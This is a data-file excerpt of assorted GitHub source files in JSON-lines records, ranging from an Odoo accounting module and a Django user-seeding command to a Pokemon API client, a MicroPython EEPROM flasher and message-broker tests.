'en'\n#train['lang'] = train.comment_text.apply(dl)\n#train.lang.unique()\n\n\n# In[ ]:\n\n\ntrain[COMMENT].values[156771]\n\n\n# In[ ]:\n\n\neli5.show_prediction(classifier, doc=train.values[156771], vec=vectorizer)\n\n","repo_name":"adgirish/kaggleScape","sub_path":"data/script1072.py","file_name":"script1072.py","file_ext":"py","file_size_in_byte":4157,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"23"} +{"seq_id":"7408265880","text":"import json\nimport logging\nfrom logging.config import dictConfig\nfrom os import getenv\n\n\ndef setup_logging(fpath='logconfig.json',\n env_lvl='WARNING',\n env_conf_file='LOGCONF'):\n \"\"\"\n Set up logging.\n Makes print statement for debugging etc. redundant.\n\n :param fpath: file path to JSON-based logging configuration\n :param env_lvl: the default logging level\n :param env_conf_file: environment variable to use in case it exists\n \"\"\"\n level = getenv(env_lvl, None)\n conf_file = getenv(env_conf_file, None)\n if not level:\n level = 'WARNING'\n if conf_file:\n fpath = conf_file\n try:\n with open(fpath, 'r') as f:\n config = json.load(f)\n logging.config.dictConfig(config)\n except (FileNotFoundError, FileExistsError):\n logging.basicConfig(level=level)\n\n# enable logging\nsetup_logging(fpath='logconf.json')\nlog = logging.getLogger(__name__)\n","repo_name":"keikoro/mailchimpmail2txt","sub_path":"log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"38025173297","text":"from odoo import fields, api, Command, models, _\n\n\nclass AccountChartTemplate(models.Model):\n _inherit = 'account.chart.template'\n\n def _prepare_all_journals(self, acc_template_ref, company, journals_dict=None):\n\n if self != self.env.ref('l10n_nl_rgs.l10nnl_rgs_chart_template', False):\n return super(AccountChartTemplate, self)._prepare_all_journals(\n acc_template_ref, company, journals_dict=journals_dict)\n\n journals_dict = [\n {'name': _('Accruals'), 'type': 'general', 'code': _('ACCR'), 'favorite': True, 'color': 11, 'sequence': 15},\n {'name': _('Depreciations'), 'type': 'general', 'code': 'DEPR', 'favorite': True, 'color': 11, 'sequence': 16},\n {'name': _('Foreign currency revaluation'), 'type': 'general', 'code': _('FCR'), 'favorite': True, 'sequence': 17},\n {'name': _('Wages'), 'type': 'general', 'code': _('WAG'), 'favorite': True, 'sequence': 18},\n {'name': _('Inventory Valuation'), 'type': 'general', 'code': _('STJ'), 'favorite': True, 'sequence': 19}]\n resp_journals = super(AccountChartTemplate, self)._prepare_all_journals(\n acc_template_ref, company, journals_dict=journals_dict)\n # TODO: Remove unwanted journals\n return resp_journals\n\n @api.model\n def _prepare_transfer_account_for_direct_creation(self, name, company):\n res = super(AccountChartTemplate, self)._prepare_transfer_account_for_direct_creation(name, company)\n if company.account_fiscal_country_id.code == 'NL':\n xml_id = self.env.ref('l10n_nl_rgs.account_tag_1003000').id\n res.setdefault('tag_ids', [])\n res['tag_ids'].append((4, xml_id))\n return res\n\n @api.model\n def _create_liquidity_journal_suspense_account(self, company, code_digits):\n account = super()._create_liquidity_journal_suspense_account(company, code_digits)\n if company.account_fiscal_country_id.code == 'NL':\n account.tag_ids = [Command.link(self.env.ref('l10n_nl_rgs.account_tag_1003000').id)]\n return account\n\n def _get_account_vals(self, company, account_template, code_acc, tax_template_ref):\n self.ensure_one()\n vals = super()._get_account_vals(company, account_template, code_acc, tax_template_ref)\n \n if self == self.env.ref('l10n_nl_rgs.l10nnl_rgs_chart_template', False):\n vals.update({\n 'referentiecode': account_template.referentiecode,\n 'sort_code': account_template.sort_code})\n return vals\n\n def generate_account(self, tax_template_ref, acc_template_ref, code_digits, company):\n if self != self.env.ref('l10n_nl_rgs.l10nnl_rgs_chart_template', False):\n return super().generate_account(tax_template_ref, acc_template_ref, code_digits, company)\n\n self.ensure_one()\n account_tmpl_obj = self.env['account.account.template']\n acc_template = account_tmpl_obj.search([('nocreate', '!=', True), ('chart_template_id', '=', self.id)], order='id')\n template_vals = []\n acc_template_done = self.env[\"account.account.template\"]\n for account_template in acc_template:\n if not account_template[company.l10n_nl_rgs_type]:\n continue\n acc_template_done |= account_template\n code_main = account_template.code and len(account_template.code) or 0\n code_acc = account_template.code or ''\n if code_main > 0 and code_main <= code_digits:\n code_acc = str(code_acc) + (str('0'*(code_digits-code_main)))\n vals = self._get_account_vals(company, account_template, code_acc, tax_template_ref)\n template_vals.append((account_template, vals))\n accounts = self._create_records_with_xmlid('account.account', template_vals, company)\n for template, account in zip(acc_template_done, accounts):\n acc_template_ref[template] = account\n return acc_template_ref\n\n def generate_account_groups(self, company):\n \"\"\" Inherit this method to fix reference code missing in account groups\"\"\"\n self.ensure_one()\n\n if self != self.env.ref('l10n_nl_rgs.l10nnl_rgs_chart_template', False):\n return super().generate_account_groups(company)\n\n # Overrides standard Odoo method\n group_templates = self.env['account.group.template'].search([('chart_template_id', '=', self.id)])\n template_vals = []\n for group_template in group_templates:\n if not group_template[company.l10n_nl_rgs_type]:\n continue\n vals = {\n 'name': group_template.name,\n 'code_prefix_start': group_template.code_prefix_start,\n 'code_prefix_end': group_template.code_prefix_end,\n 'company_id': company.id,\n 'code': group_template.code,\n 'referentiecode': group_template.referentiecode,\n 'sort_code': group_template.sort_code\n }\n template_vals.append((group_template, vals))\n \n groups = self._create_records_with_xmlid('account.group', template_vals, company)\n \n for group_template in group_templates.filtered(lambda agt: agt.parent_id):\n parent_group = groups.filtered(lambda ag: ag.code == group_template.parent_id.code)\n group = groups.filtered(lambda ag: ag.code == group_template.code)\n if group and parent_group:\n group.parent_id = parent_group.id\n\n def _load_template(self, company, code_digits=None, account_ref=None, taxes_ref=None):\n if self != self.env.ref('l10n_nl_rgs.l10nnl_rgs_chart_template', False):\n return super(AccountChartTemplate, self)._load_template(\n company, code_digits=code_digits,\n account_ref=account_ref, taxes_ref=taxes_ref)\n\n account_ref, taxes_ref = super(AccountChartTemplate, self)._load_template(\n company, code_digits=code_digits,\n account_ref=account_ref, taxes_ref=taxes_ref)\n\n # Add allowed journals to accounts basaed on group settings\n self.add_account_allowed_journals(company)\n\n return account_ref, taxes_ref\n\n def add_account_allowed_journals(self, company):\n \"\"\" Inherit this method to fix reference code missing in account groups\"\"\"\n self.ensure_one()\n\n group_templates = self.env['account.group.template'].search([\n ('chart_template_id', '=', self.id),\n '|',\n ('rgs_allowed_journals_code', '!=', False),\n ('rgs_allowed_journals_type', '!=', False)])\n\n for group_template in group_templates:\n group = self.env['account.group'].search([\n ('company_id', '=', company.id),\n ('referentiecode', '=', group_template.referentiecode)])\n if not group:\n continue\n journals = self.env['account.journal']\n if group_template.rgs_allowed_journals_type:\n type_list = [jtype for jtype in group_template.rgs_allowed_journals_type.split(\",\")]\n journals |= self.get_allowed_account_journals_based_on_type(company, type_list)\n if group_template.rgs_allowed_journals_code:\n code_list = [jcode for jcode in group_template.rgs_allowed_journals_code.split(\",\")]\n journals |= self.get_allowed_account_journals_based_on_code(company, code_list)\n\n if journals:\n accounts = group.get_all_account_ids()\n accounts.write({\n 'allowed_journal_ids': [(6, 0, journals.ids)]\n })\n\n def get_allowed_account_journals_based_on_type(self, company, type_list):\n return self.env['account.journal'].search([\n ('company_id', '=', company.id),\n ('type', 'in', type_list)])\n\n def get_allowed_account_journals_based_on_code(self, company, code_list):\n return self.env['account.journal'].search([\n ('company_id', '=', company.id),\n ('code', 'in', code_list)])\n","repo_name":"onesteinbv/addons-container","sub_path":"l10n_nl_rgs/models/account_chart_template.py","file_name":"account_chart_template.py","file_ext":"py","file_size_in_byte":8128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"43029364157","text":"x = input().split(',')\ny = float(input())\nres = []\nfor i in range(len(x)):\n for j in range(i+1, len(x)):\n if float(x[i]) + float(x[j]) == y:\n res.append(i)\n res.append(j)\n if len(res) == 2:\n break\nprint(res)","repo_name":"petushoque/spa-django-rest-nuxtjs","sub_path":"section2lesson1step2.py","file_name":"section2lesson1step2.py","file_ext":"py","file_size_in_byte":257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"15221927713","text":"##\n# Author: Samuel Abels \n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Library General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n##\nfrom gettext import gettext as _\nimport gnome\nimport gtk.glade\nimport util\nfrom config import c as cfg\nfrom profile import Profile\n\n\nclass ProfileDialog:\n def __init__(self, profile):\n self.profile = profile\n self.xml = util.get_glade_xml(cfg[\"APP_SYSNAME\"] + \".glade\",\n \"profile\")\n self.window = self.xml.get_widget('profile')\n self.entry = self.xml.get_widget('entry_name')\n self.height = self.xml.get_widget('spinbutton_height')\n self.gender = self.xml.get_widget('combobox_gender')\n self.update_form()\n self.xml.signal_autoconnect(self)\n #self.lock_signals = False\n\n def update_form(self):\n self.entry.set_text(self.profile.get_name())\n self.height.set_value(self.profile.get_height())\n self.gender.set_active(self.profile.get_gender())\n\n def on_button_close_pressed(self, widget):\n self.window.destroy()\n\n def on_entry_name_changed(self, widget):\n name = self.entry.get_text()\n if len(name) <= 0:\n return\n self.profile.set_name(name)\n\n def on_spinbutton_height_value_changed(self, widget):\n self.profile.set_height(self.height.get_value())\n\n def on_combobox_gender_changed(self, widget):\n self.profile.set_gender(self.gender.get_active())\n\n\nif __name__ == '__main__':\n profile = Profile(\"test\")\n dialog = ProfileDialog(profile)\n gnome.init(cfg[\"APP_NAME\"], cfg[\"APP_VERSION\"])\n gtk.main()\n","repo_name":"saman-jarvis/shrinkingman","sub_path":"src/profiledialog.py","file_name":"profiledialog.py","file_ext":"py","file_size_in_byte":2277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"17089914610","text":"from django.core.management.base import BaseCommand\nfrom django.db.utils import IntegrityError\nfrom question.models import Profile\nfrom django.contrib.auth.models import User\nfrom faker import Faker\n\n\nclass Command(BaseCommand):\n help = 'The single argument is count of created users (and profiles)'\n\n def add_arguments(self, parser):\n parser.add_argument(\n 'users_count',\n nargs=1,\n type=int,\n )\n\n def handle(self, *args, **options):\n users_count = options['users_count'][0]\n fake_ru = Faker('ru_RU')\n fake_en = Faker('en_UK')\n\n i = 0\n while (i < users_count):\n try:\n if (fake_en.boolean()): #male\n user = User.objects.create_user(\n password='trubnikov',\n is_superuser=False,\n first_name=fake_ru.first_name_male(),\n last_name=fake_ru.last_name_male(),\n email=fake_en.email(),\n is_staff=False,\n is_active=True,\n username=fake_en.user_name()\n )\n else: #female\n user = User.objects.create_user(\n password='trubnikov',\n is_superuser=False,\n first_name=fake_ru.first_name_female(),\n last_name=fake_ru.last_name_female(),\n email=fake_en.email(),\n is_staff=False,\n is_active=True,\n username=fake_en.user_name()\n )\n profile = Profile(user=user)\n profile.save()\n i += 1\n except IntegrityError:\n self.stdout.write('Exception')\n continue\n self.stdout.write('Added ' + str(users_count) + ' users')","repo_name":"TrubnikovDmitriy/web-task-2","sub_path":"ask_trubnikov/question/management/commands/create_profiles.py","file_name":"create_profiles.py","file_ext":"py","file_size_in_byte":1955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"26867120510","text":"import pygame\nfrom pygame.locals import *\n\nclass Box(pygame.sprite.Sprite):\n def __init__(self, color, initial_position):\n\n # All sprite classes should extend pygame.sprite.Sprite. This\n # gives you several important internal methods that you probably\n # don't need or want to write yourself. Even if you do rewrite\n # the internal methods, you should extend Sprite, so things like\n # isinstance(obj, pygame.sprite.Sprite) return true on it.\n pygame.sprite.Sprite.__init__(self)\n \n # Create the image that will be displayed and fill it with the\n # right color.\n self.image = pygame.Surface([15, 15])\n self.image.fill(color)\n\n # Make our top-left corner the passed-in location.\n self.rect = self.image.get_rect()\n self.rect.topleft = initial_position\n\nif __name__==\"__main__\":\n pygame.init()\n screen = pygame.display.set_mode([150, 150])\n b = Box([255, 0, 0], [0, 0]) # Make the box red in the top left\n screen.blit(b.image, b.rect)\n pygame.display.update()\n while pygame.event.poll().type != KEYDOWN: pygame.time.delay(10)\n","repo_name":"llimllib/personal_code","sub_path":"python/pygame/box.py","file_name":"box.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"2"} +{"seq_id":"921602358","text":"import requests\nfrom collections.abc import Iterator\n\n\nclass BasePokemon:\n name: str\n\n def __init__(self,name: str) -> None:\n self.name = name\n\n def __str__(self):\n return f'name={self.name}'\n\n\nclass Pokemon(BasePokemon):\n name: str\n id: str\n height: str\n weight: str\n\n def __init__(self, name: str, id: str, height: str, weight: str) -> None:\n BasePokemon.__init__(self, name)\n self.__name = self.name\n self.__id = id\n self.__height = height\n self.__weight = weight\n\n @property\n def names(self):\n return self.__name\n\n @property\n def id(self):\n return self.__id\n\n @property\n def height(self):\n return self.__height\n\n @property\n def weight(self):\n return self.__weight\n\n def __str__(self):\n return f'name={self.__name}, id={self.__id}, height={self.__height}, weight={self.__weight}'\n\n\nclass PokeAPI:\n name_id: str\n max_counter: int\n\n def get_pokemon(self, name_id: str) -> Pokemon:\n for i in range(len(pokeball)):\n if pokeball[i].name == name_id or pokeball[i].id == name_id:\n return pokeball[i]\n else:\n url = \"https://pokeapi.co/api/v2/pokemon/\" + name_id + \"/\"\n result = requests.get(url).json()\n pokeball.append(Pokemon(result[\"name\"], result[\"id\"], result[\"height\"], result[\"weight\"]))\n return Pokemon(result[\"name\"], result[\"id\"], result[\"height\"], result[\"weight\"])\n\n def get_all(self, max_counter: int, get_full=False) -> Iterator:\n counter: int = 1\n while counter <= max_counter:\n url = \"https://pokeapi.co/api/v2/pokemon/\" + str(counter) + \"/\"\n result = requests.get(url).json()\n if get_full == False:\n yield BasePokemon(result[\"name\"])\n else:\n yield Pokemon(result[\"name\"], result[\"id\"], result[\"height\"], result[\"weight\"])\n counter += 1\n\n\npokeball = []\nmaxx_weight: int = 0\n\nprint(PokeAPI().get_pokemon(\"ditto\"))\n\nfor i in PokeAPI().get_all(50, True):\n if maxx_weight < i.weight:\n maxx_weight = i.weight\n pok = i\nprint(pok)","repo_name":"AgA101/python2","sub_path":"Pokemon.py","file_name":"Pokemon.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"22307140194","text":"import sys\nsys.path.append('../gazolin/')\n\nfrom gazolin import GazPorsiyon,gazolin\nfrom gazpompasi import GazPompalama\n\nclass Benzin(gazolin):\n pass\n\nclass DenemeGazPompalama:\n def deneme_gaz_pompalama(self) -> None:\n gaz_tanki = GazPorsiyon(\n gazolin = Benzin(\n oktan=95,\n ),\n litre_oran=10,\n )\n gaz_pompasi = GazPompalama(\n baglanan_gaz_tanki = gaz_tanki,\n baglanan_motor = None,\n m_goreceli_lgk=0.2,\n )\n DisaVerim_gaz = gaz_pompasi.apply(\n voltaj =6,\n saniye=5,\n )\n\n assert DisaVerim_gaz.litre_oran == 0.5\n","repo_name":"NomadDesignGraphics/Project_VEngine","sub_path":"py_car_engine/engine/gazpompasi/test_gazpompasi.py","file_name":"test_gazpompasi.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"71768615727","text":"import json\nfrom pprint import pprint\nfrom rdflib import Graph, Namespace, URIRef, BNode, Literal\n\nedsa= Namespace('http://www.edsa-project.eu/edsa#')\nedsajobs= Namespace('http://www.edsa-project.eu/jobs/')\nedsaskills= Namespace('http://www.edsa-project.eu/skill/')\nschema= Namespace('http://schema.org/')\n\nwith open('GithubJobs-DataScience.json') as data_file: \n data = json.load(data_file)\n\ng = Graph()\nc = 0\nfor job in data:\n subject = URIRef(\"http://www.edsa-project.eu/jobs/Github/\"+str(c))\n g.add((subject,schema.jobTitle,Literal(job['title'])))\n g.add((subject,schema.hiringOrganization,Literal(job['company'])))\n g.add((subject,schema.url,Literal(job['url'])))\n g.add((subject,schema.jobLocation,Literal(job['location'])))\n g.add((subject,schema.description,Literal(job['description'])))\n c = c+1\n\ng.serialize(destination='github.ttl', format='turtle')\n\n\n\n","repo_name":"edsa-project/dashboard","sub_path":"mappings/GithubJobs/mapping-GithubJobs.py","file_name":"mapping-GithubJobs.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"38306652258","text":"from gameState import MyInfo, GameState, Player\nfrom parseData import parse, fillMyData\nfrom constants import MAX_BUF_LEN\nimport arcade\nimport json\nimport copy\n\nimport socket\nimport sys\nimport threading\nimport time\n\ncloseClient = False\n#play, wait, end\nSTATE = {\n 'wait' : 0,\n 'play' : 1,\n 'end' : 2\n}\n\nmyInfo = MyInfo()\ngame = GameState()\n\n#locks\ngame_lock = threading.Lock()\nmyInfo_lock = threading.Lock()\n\nSEND_FREQUENCY = 30.0\n\ndef writeToServerRoutine(server_socket):\n\n global closeClient\n global myInfo\n\n request_type = 'data'\n buff = fillMyData(myInfo, request_type)\n try:\n server_socket.send(bytearray(buff + '\\0', 'utf-8'))\n myInfo.clear()\n except BrokenPipeError:\n raise BrokenPipeError\n\ndef handleConnection(server_socket):\n\n writeThread = threading.Thread(target=writeToServerRoutine, args=(server_socket,), daemon=True)\n\n writeThread.start()\n\n listenOnSocket(server_socket)\n\n writeThread.join()\n\n\ndef listenOnSocket(server_socket):\n\n global closeClient\n global game\n\n try:\n buf = server_socket.recv(MAX_BUF_LEN)\n except OSError:\n raise OSError\n \n if len(buf) == 0:\n closeClient = True\n return\n \n data = buf.decode()\n\n\n try:\n message_len = int(data[:10])\n except:\n return\n\n while message_len > len(data):\n try:\n buf = server_socket.recv(MAX_BUF_LEN)\n except OSError:\n raise OSError\n data += buf.decode()\n\n if len(data) > message_len:\n return\n\n try:\n if int(data[:10]) == len(data):\n return copy.deepcopy(json.loads(data[10:]))\n except:\n print('======================================')\n print('data invalid')\n print(data)\n print('======================================')\n\ndef connectToServer():\n\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n print(\"Socket created\")\n except socket.error as err:\n print(\"socket creation failed with error %s\" %(err))\n\n try:\n s.connect((sys.argv[1], int(sys.argv[2])))\n except ConnectionRefusedError:\n raise ConnectionRefusedError\n except socket.gaierror:\n raise socket.gaierror\n\n print(\"succesfully connected to server\")\n\n return s\n\ndef main():\n\n global STATE\n global game\n global myInfo\n\n\nif __name__ == \"__main__\":\n\n main()","repo_name":"dziulek/AgarioServer","sub_path":"src/pythonClient/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":2399,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"15637586302","text":"\"\"\"\ndef cycle(iterable):\n # cycle('ABCD') --> A B C D A B C D A B C D ...\n saved = []\n for element in iterable:\n yield element\n saved.append(element)\n while saved:\n for element in saved:\n yield element\n\n\"\"\"\n\nfrom itertools import cycle\n\n# A B C D A B C D A B C D ...\ncycle('ABCD')\n\n\"\"\"\n(1, 'a')\n(2, 'b')\n(3, 'c')\n(4, 'a')\n(5, 'b')\n(6, 'c')\n(7, 'a')\n(8, 'b')\n(9, 'c')\n\"\"\"\ni = 0\nfor item in cycle(['a', 'b', 'c']):\n i += 1\n if i == 10:\n break\n print (i, item)","repo_name":"regardfs/Python-Advanced-Tutorial","sub_path":"Modules_usage_demo/itertools_demo/cycle_demo.py","file_name":"cycle_demo.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"8969765119","text":"\"\"\"\nThis is MicroPython!\n\nThis script writes the board ID to the EEPROM in the OSD3358 and reads it back afterwards.\n\"\"\"\n\nfrom machine import I2C, Pin, Timer\nfrom time import sleep\n\nI2C_ADDR = 0x50\nEEPROM_ADDR = b\"\\x00\\x00\"\nBOARD_ID = b\"\\xaaU3\\xeeA335PBGL00A21740GPB43424\" # BeagleBoard Pocketbeagle id\n\nled = Pin(25, Pin.OUT)\nled.off()\ni2c = I2C(0, scl=Pin(17), sda=Pin(16), freq=400_000)\n\ntimer = Timer(mode=Timer.PERIODIC, freq=1, callback=(lambda t: led.toggle()))\n\nwhile True:\n sleep(0.1)\n\n try:\n i2c.writeto(I2C_ADDR, EEPROM_ADDR + BOARD_ID)\n except Exception:\n print(\"ERROR: failed to write board id to EEPROM\")\n continue\n\n # After receiving the write bytes, the EEPROM takes some time to write it to memory. The chip\n # with NAK during this time, so the datasheet suggests polling the chip via i2c until it acks a\n # command, at which point it can handle more commands. Here we attempt the initial command of\n # reading back what we just wrote, and when the chip ACKs the command, we can proceed with\n # the read.\n while True:\n try:\n i2c.writeto(I2C_ADDR, EEPROM_ADDR, False)\n i2c.readfrom(I2C_ADDR, len(BOARD_ID))\n except Exception:\n continue\n break\n\n try:\n i2c.writeto(I2C_ADDR, EEPROM_ADDR, False)\n board_id_readback = i2c.readfrom(I2C_ADDR, len(BOARD_ID))\n except Exception:\n print(\"ERROR: failed to read board id back from EEPROM\")\n continue\n\n if BOARD_ID != board_id_readback:\n print(f\"ERROR: invalid readback; wrote {BOARD_ID.hex()} read {board_id_readback.hex()}\")\n else:\n timer.deinit()\n led.on()\n break\n","repo_name":"oresat/oresat-linux","sub_path":"octavo_eeprom_flasher/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1692,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"2"} +{"seq_id":"14479318114","text":"import numpy as np\nimport tensorflow as tf\n\nfrom remps.policy.policy import Policy\nfrom remps.utils.utils import get_default_tf_dtype\n\n\nclass OneParameterPolicy(Policy):\n \"\"\"\n Policy defined by one param: theta, prob of action 0\n \"\"\"\n\n def __init__(self, name=\"policy\", init_theta=np.random.rand()):\n \"\"\"\n Builds a policy network and returns a node for pi and a node for logpi\n \"\"\"\n # net params\n super(OneParameterPolicy, self).__init__(name)\n self.sess = None\n self.default_dtype = get_default_tf_dtype()\n self.epsilon_small = 1e-20\n self.action_space = 2\n self.init_theta = init_theta\n\n def __call__(self, state):\n\n with tf.variable_scope(self.name):\n # Net\n self.width = 1\n self.offset = 0\n self.k = 0.07\n self.theta = tf.get_variable(\n \"theta\",\n dtype=get_default_tf_dtype(),\n shape=(1, 1),\n initializer=tf.initializers.constant(\n self.from_sigm_to_theta(self.init_theta)\n ),\n )\n\n theta = self.width * (1 / (1 + tf.exp(-self.k * self.theta))) + self.offset\n\n # For taking actions\n self._pi = tf.concat(\n [\n tf.tile(theta, (tf.shape(state)[0], 1)),\n tf.tile(1 - theta, (tf.shape(state)[0], 1)),\n ],\n axis=1,\n )\n\n self._log_pi = tf.log(self._pi + self.epsilon_small)\n\n return self._pi, self._log_pi\n\n def pi(self, s, log=True):\n \"\"\"\n Selects an action according to the net probability\n @param s: state vector\n @param log: if True log probabilities\n \"\"\"\n probs = self.sess.run(self._pi, feed_dict={self.state: s})[0]\n\n if log:\n print(probs)\n if np.isnan(probs[0]):\n print(\"NAN\")\n\n # draw a sample according to probabilities\n a = np.random.choice(int(self.action_space), p=probs)\n\n return a\n\n def from_sigm_to_theta(self, param):\n return -np.log(self.width / (param - self.offset) - 1) / self.k\n\n def get_theta(self):\n return self.width * (1 / (1 + tf.exp(-self.k * self.theta))) + self.offset\n\n def get_policy_network(self):\n return self._pi\n\n def initialize(self, sess):\n self.sess = sess\n init = tf.initialize_variables(self.trainable_vars)\n self.sess.run(init)\n","repo_name":"albertometelli/remps","sub_path":"remps/policy/one_parameter_policy.py","file_name":"one_parameter_policy.py","file_ext":"py","file_size_in_byte":2519,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"2"} +{"seq_id":"72978794925","text":"#!/usr/bin/env python3\n\"\"\"Builds a modified version of the LeNet-5 architecture\"\"\"\nimport tensorflow.keras as K\n\n\ndef lenet5(X):\n \"\"\"Builds a modified version of the LeNet-5 architecture using keras.\n\n Args:\n X (K.Input): shape (m, 28, 28, 1) containing the input images\n for the network.\n\n Returns:\n a K.Model compiled to use Adam optimization\n (with default hyperparameters) and accuracy metrics.\n \"\"\"\n\n model = K.Sequential()\n\n model._set_inputs(X)\n\n model.add(K.layers.Conv2D(6, 5, padding='same',\n activation=K.activations.relu,\n kernel_initializer=K.initializers.HeNormal))\n model.add(K.layers.MaxPool2D(2, 2))\n\n model.add(K.layers.Conv2D(16, 5, padding='valid',\n activation=K.activations.relu,\n kernel_initializer=K.initializers.HeNormal))\n model.add(K.layers.MaxPool2D(2, 2))\n\n model.add(K.layers.Flatten())\n model.add(K.layers.Dense(120, K.activations.relu,\n kernel_initializer=K.initializers.HeNormal))\n model.add(K.layers.Dense(84, K.activations.relu,\n kernel_initializer=K.initializers.HeNormal))\n model.add(K.layers.Dense(10, K.activations.softmax,\n kernel_initializer=K.initializers.HeNormal))\n\n adam = K.optimizers.Adam()\n model.compile(loss=\"categorical_crossentropy\", optimizer=adam,\n metrics=['accuracy'])\n\n return model\n","repo_name":"Vaka217/holbertonschool-machine_learning","sub_path":"supervised_learning/cnn/5-lenet5.py","file_name":"5-lenet5.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"13956613370","text":"import unittest\nfrom asyncio import (\n gather,\n sleep,\n)\nfrom datetime import (\n timedelta,\n)\nfrom unittest.mock import (\n AsyncMock,\n call,\n)\n\nimport aiopg\n\nfrom minos.common import (\n NotProvidedException,\n)\nfrom minos.common.testing import (\n PostgresAsyncTestCase,\n)\nfrom minos.networks import (\n BrokerHandlerEntry,\n BrokerHandlerSetup,\n BrokerPublisher,\n DynamicBroker,\n MinosHandlerNotFoundEnoughEntriesException,\n)\nfrom tests.utils import (\n BASE_PATH,\n FakeModel,\n Message,\n)\n\n\nclass TestDynamicBroker(PostgresAsyncTestCase):\n CONFIG_FILE_PATH = BASE_PATH / \"test_config.yml\"\n\n def setUp(self) -> None:\n super().setUp()\n self.topic = \"fooReply\"\n self.publisher = BrokerPublisher.from_config(self.config)\n self.handler = DynamicBroker.from_config(config=self.config, topic=self.topic, publisher=self.publisher)\n\n async def asyncSetUp(self):\n await super().asyncSetUp()\n await self.publisher.setup()\n await self.handler.setup()\n\n async def asyncTearDown(self):\n await self.handler.destroy()\n await self.publisher.destroy()\n await super().asyncTearDown()\n\n async def test_from_config_raises(self):\n with self.assertRaises(NotProvidedException):\n DynamicBroker.from_config(config=self.config)\n\n async def test_setup_destroy(self):\n handler = DynamicBroker.from_config(config=self.config, topic=self.topic, publisher=self.publisher)\n self.assertFalse(handler.already_setup)\n async with handler:\n self.assertTrue(handler.already_setup)\n self.assertTrue(handler.already_destroyed)\n\n def test_base_classes(self):\n self.assertIsInstance(self.handler, BrokerHandlerSetup)\n\n async def test_send(self):\n mock = AsyncMock()\n self.publisher.send = mock\n\n await self.handler.send(56, \"AddFoo\")\n\n self.assertEqual([call(56, \"AddFoo\", reply_topic=self.topic)], mock.call_args_list)\n\n async def test_get_one(self):\n expected = BrokerHandlerEntry(1, \"fooReply\", 0, FakeModel(\"test1\").avro_bytes)\n await self._insert_one(Message(\"fooReply\", 0, FakeModel(\"test1\").avro_bytes))\n await self._insert_one(Message(\"fooReply\", 0, FakeModel(\"test2\").avro_bytes))\n\n observed = await self.handler.get_one()\n\n self._assert_equal_entries(expected, observed)\n\n async def test_get_many(self):\n expected = [\n BrokerHandlerEntry(1, \"fooReply\", 0, FakeModel(\"test1\").avro_bytes),\n BrokerHandlerEntry(2, \"fooReply\", 0, FakeModel(\"test2\").avro_bytes),\n BrokerHandlerEntry(3, \"fooReply\", 0, FakeModel(\"test3\").avro_bytes),\n BrokerHandlerEntry(4, \"fooReply\", 0, FakeModel(\"test4\").avro_bytes),\n ]\n\n async def _fn():\n await self._insert_one(Message(\"fooReply\", 0, FakeModel(\"test1\").avro_bytes))\n await self._insert_one(Message(\"fooReply\", 0, FakeModel(\"test2\").avro_bytes))\n await sleep(0.5)\n await self._insert_one(Message(\"fooReply\", 0, FakeModel(\"test3\").avro_bytes))\n await self._insert_one(Message(\"fooReply\", 0, FakeModel(\"test4\").avro_bytes))\n\n observed, _ = await gather(self.handler.get_many(count=4, max_wait=0.1), _fn())\n\n self.assertEqual(len(expected), len(observed))\n for e, o in zip(expected, observed):\n self._assert_equal_entries(e, o)\n\n async def test_get_many_raises(self):\n with self.assertRaises(MinosHandlerNotFoundEnoughEntriesException):\n await self.handler.get_many(count=3, timeout=0.1)\n\n async def _insert_one(self, instance):\n async with aiopg.connect(**self.broker_queue_db) as connect:\n async with connect.cursor() as cur:\n await cur.execute(\n \"INSERT INTO consumer_queue (topic, partition, data) VALUES (%s, %s, %s) RETURNING id;\",\n (instance.topic, 0, instance.value),\n )\n return (await cur.fetchone())[0]\n\n def _assert_equal_entries(self, expected, observed):\n self.assertEqual(expected.id, observed.id)\n self.assertEqual(expected.topic, observed.topic)\n self.assertEqual(expected.callback, observed.callback)\n self.assertEqual(expected.partition, observed.partition)\n self.assertEqual(expected.data, observed.data)\n self.assertEqual(expected.retry, observed.retry)\n self.assertAlmostEqual(expected.created_at, observed.created_at, 